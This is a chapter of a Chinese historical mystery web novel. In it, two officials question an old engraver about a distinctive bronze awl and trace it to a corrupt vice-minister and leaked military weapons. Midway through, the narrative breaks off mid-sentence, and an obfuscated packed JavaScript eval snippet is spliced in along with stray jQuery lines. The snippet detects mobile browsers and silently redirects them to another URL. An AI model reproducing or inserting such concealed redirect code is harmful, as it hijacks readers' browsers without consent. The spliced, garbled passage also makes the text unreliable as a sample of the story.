默认冷灰
24号文字
方正启体

2. 墨髓余音

作者:柒人太甚本书字数:K更新时间:
    墨髓斋的老掌柜,如今住在桂花巷最深处。


    巷子窄得只容一人过,两边墙皮斑驳,潮气重,长了一层一层的青苔。走到头是一扇黑漆木门,门楣上没招牌,檐下挂两盏白纸灯笼,褪了色,纸也破了,风一吹就哗啦哗啦响,没人管。


    陆文渊叩了三下门。


    里头半天没动静。他正要再敲,门吱呀开了条缝,探出张脸来,皱得像核桃皮,眼皮耷拉着,眼珠浑浊。那目光在陆文渊官袍上停了停,又扫过他身后——谢明琮换了身灰布衣裳,靠在对面墙上,脸上一道疤,看着就不像善茬。


    “找谁?”声音沙哑,带着痰音。


    “冯伯,”陆文渊说,“想请您看样旧东西。”


    老人盯着他看了会儿,把门拉开了。


    里头是个小天井,堆着些半成品的棺材板和石碑料,木头味儿石头味儿混在一块儿,还有股子陈年烧的香,说不上来是什么香。正对面一间铺子,暗得很,靠墙立着几块没刻字的石碑,墙角一口薄皮棺材,盖子敞着,里头垫着干草。


    冯伯走到一张方桌前坐下,桌上乱糟糟的,刻刀凿子散着,还有几块没刻完的印章料子。他也不让座,也不倒茶,就坐着。


    陆文渊从怀里掏出那枚铜簪,用帕子包着的,打开,放桌上。


    冯伯枯瘦的手指摸过簪身,摸到“墨髓”两个字的时候停了一下。他眼皮没抬:“官爷打哪儿弄的?”


    “贡院井里。跟一具尸骨在一块儿。”


    手指顿住了。过了一会儿,他说:“死人的东西,晦气。”


    “所以才来问您。”陆文渊在他对面坐下,“这簪子,是墨髓斋出去的?”


    冯伯抬起眼皮,那浑浊的眼珠子里有什么东西闪了一下,很快。“墨髓斋关了三年了。老朽如今只做死人生意,刻碑,打棺材。”


    “关张之前呢?”谢明琮不知什么时候进来了,人高马大,把门口的光堵得严严实实,声音不高,但压人,“这簪子样式不寻常,冯掌柜经手的客人,应该不多。”


    冯伯没吭声,就那么摸着簪子。摸着摸着,开口了:“这簪子,叫‘穿云锥’。不是普通铜,掺了西域寒铁,淬火七回才成形。锥头那个螺旋,不是好看,是放血槽。扎进去,拧半圈,伤口合不上,救都救不及。”


    “做什么用的?”


    “赏玩。”冯伯嘴角扯了扯,也不知道是笑还是什么,“官爷信么?当年账上就这么记的——‘特制铜锥,文人雅玩’。买主都是些公子哥儿,也有些大人,喜欢猎奇。”


    “买主名册呢?”


    “烧了。”冯伯答得干脆,“关张那晚,东家亲自盯着烧的,一页没留。”


    陆文渊和谢明琮对看了一眼。料到了。


    “那您可还记得,”陆文渊往前探了探身子,声音放低,“三年前,就是关张前不久,有谁专门订过,或者问过这‘穿云锥’?”


    天井里静得很。远处有市集的嘈杂声传过来,隔得远,听着像隔了好几层棉被。


    冯伯眼皮又耷拉下去了,手指在桌面上划来划去,不知道划什么。谢明琮等得有点不耐烦,正要开口,冯伯忽然说了几个字,声音极轻:


    “周允,周大人府上,派人来问过。”


    周允。礼部右侍郎,今年春闱主考官。高世衡的门生,三皇子府常客。


    陆文渊手指尖凉了凉。“问了什么?”


    “没问什么具体的。管家来的,随口提了句,说周大人近来喜欢把玩铜铁器,有古意的,问铺子里有没有新奇玩意儿。”冯伯顿了顿,“老朽当时,给他看了‘穿云锥’的图样。”


    “他买了?”


    “没有。”冯伯摇头,“那管家看了图样,脸色不对,说太戾气,不合周大人清贵身份。就走了。”


    “之后呢?”


    “之后?”冯伯抬起眼皮,那目光深得很,“之后没几天,铺子就关了。东家说京城生意不好做,回乡养老。”


    话说到这份上,差不多都明白了。周允的人见过图样,没几天墨髓斋关门,然后一柄同样的锥子,出现在贡院井底死人身上。


    “冯伯,”陆文渊看着他,“您在这条巷子住了多久了?”


    “生在这儿,长在这儿,六十三年了。”


    “那您知道什么该说,什么不该说。”陆文渊从袖子里摸出一小锭银子,放桌上,“今日我们没来过,您也没见过这簪子。往后有人问起……”


    “老朽只做死人生意。”冯伯没碰那银子,把铜簪推回来,“活人的事,记不清。”


    陆文渊收起簪子,站起来,拱了拱手:“多谢。”


    两人一前一后出了那间铺子。门在身后关上,严丝合缝,把天井里那点昏沉的光全关里头了。


    走出桂花巷,谢明琮开口:“你怎么看?”


    “周允管家见过图样,未必是周允本人授意,也未必就是他拿了锥子杀人。”陆文渊往前走,声音平平的,“但时间太巧。墨髓斋关张、陈砚失踪、周允升礼部右侍郎,都挤在那几个月里。”


    “你觉得墨髓斋关张,是为了灭口?怕人顺着锥子查到周允,再往上查?”


    “可能。但也可能不是。”陆文渊在一个卖蒸糕的摊子前停下来,买了两个,递一个给谢明琮。谢明琮没接,他自己咬了一口,甜的,糯米香。“墨髓斋关张,也许恰恰是因为有人不想让人往下查。用关张,盖住另一条线。”


    谢明琮皱眉:“什么意思?”


    “冯伯说东家是高世衡夫人的远房表亲。这种关系,可近可远。高世衡真要保他,或者真要灭口,都不会用‘关张回乡’这么软的法子,还留个人在京城开棺材铺。”陆文渊嚼着蒸糕,说话含含糊糊的,“除非关张本身就是做给人看的戏。让所有人都盯着‘周允可能牵涉’这一层。真的东西,藏在底下。”


    “底下是什么?”


    “底下是,”陆文渊咽下去,拍拍手上的糖粉,“兵部登记的那十八支‘损耗’的穿云锥,到底去哪儿了。冯伯说这锥子掺了西域寒铁,工艺特殊。能仿制,能弄到军中图纸的人,不止周允,不止高家。”


    谢明琮眼神锐起来:“你怀疑军中有人?”


    “不是怀疑,是必然。”陆文渊看他,“谢将军,军械流出去,没内应不可能。能接触到图纸,能仿制,还能通过墨髓斋这种地方‘洗白’成文玩的人,在军中地位低不了。”


    两人沉默着走了一段。太阳穿过街边槐树叶子,在地上漏下碎碎的光斑。


    “你要我查军中内鬼。”谢明琮说。


    “你能查,也得查。”陆文渊停下来,“陈砚的死,军械的流失,也许只是一小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345063|199504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    块。谢将军,你给我那张图样,穿云锥的形制,跟三年前北境一场败仗里戎狄用的破甲锥,很像,是不是?”


    谢明琮猛地扭头看他,脸上那道疤绷紧了:“你怎么知道?”


    “我读过兵部存档的战报。隆景二十年秋,黑水河,我军先锋营三百重甲骑兵,中埋伏,全没了。战报上说戎狄用了‘新型破甲锥,螺旋锥头,重甲不能御’。后来没再查,以‘敌军利器,猝不及防’结案。”陆文渊声音很轻,一个字一个字砸在谢明琮心上,“时间,就在墨髓斋开始卖‘穿云锥’之后不久。谢将军,有这么巧的事?”


    谢明琮攥紧了拳头,指节发白。过了好一会儿,他哑着嗓子说:“那一战……先锋营校尉,是我同乡,一起长大的。他尸首抬回来,铁甲胸口有个螺旋形的窟窿。”


    陆文渊看着他,没说话。


    谢明琮深吸一口气,又慢慢吐出来。“军中,我来查。周允那边呢?你打算怎么动他?没凭没据,动不了三品官。”


    “动不了。”陆文渊摇头,“就凭一个棺材铺老头的几句话,动不了。”


    “那怎么办?”


    “等。”陆文渊往皇城方向看了一眼,贡院的飞檐远远露了一角,“还有七天,春闱。周允是主考官。如果他真跟三年前的案子有牵扯,如果科场舞弊还在继续,那这次春闱,他,或者他背后的人,不会安生。”


    “你要在贡院里抓现行?”谢明琮皱眉,“你一个七品御史,贡院门都进不去。”


    “我不进去。”陆文渊收回目光,“但有人能进去。今科应试的举子,尤其是那些寒门的。”


    谢明琮盯着他:“你利用他们。”


    “是。”陆文渊没躲,眼神干干净净的,“我利用所有能用的,包括我自己。谢将军,这局棋想赢,或者只是不想输得太难看,就不能爱惜羽毛。高世衡不会,三皇子不会,龙椅上那位更不会。”


    他顿了顿,声音低下去,像叹气:“那些可能坐龙椅的,也不会。”


    谢明琮没接话。他知道陆文渊指的是什么。


    “需要我做什么?”


    “两件。”陆文渊竖起两根手指,“第一,查那十八支‘损耗’穿云锥的去向,我要每一个经手的人,尤其是兵部和军器监。第二,”他看着谢明琮,“春闱九天,你找绝对可靠的人,盯住贡院所有出入,记下每一个异常的人、车、物。尤其是夜里。”


    “你等他们递消息,或者转移证据?”


    “也等,等谁忍不住,对贡院里的人下手。”陆文渊眼神暗下去,“如果我是周允,如果我真在春闱里做了手脚,这九天,我不会允许任何意外发生。任何碍事的人,都得清掉。”


    “包括那些寒门举子?”


    “尤其是他们。”陆文渊转身往御史台走,青色官袍的背影在太阳底下有点单薄,但脊背挺得笔直,“所以谢将军,得快点。在有人变成下一具井底骨头之前。”


    谢明琮站在原地,看着那背影混进街市的人流里,看不见了。他抬手摸了摸脸上那道箭疤,糙得很。边关的厮杀和京城的厮杀,不一样。边关看得见血,京城看不见。


    他咬了一口手里那个凉透的蒸糕,甜,但压不住心里那股凉意。


    贡院的号舍备好了,九天鏖战快开始了。另一场仗,也在暗处拉开了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)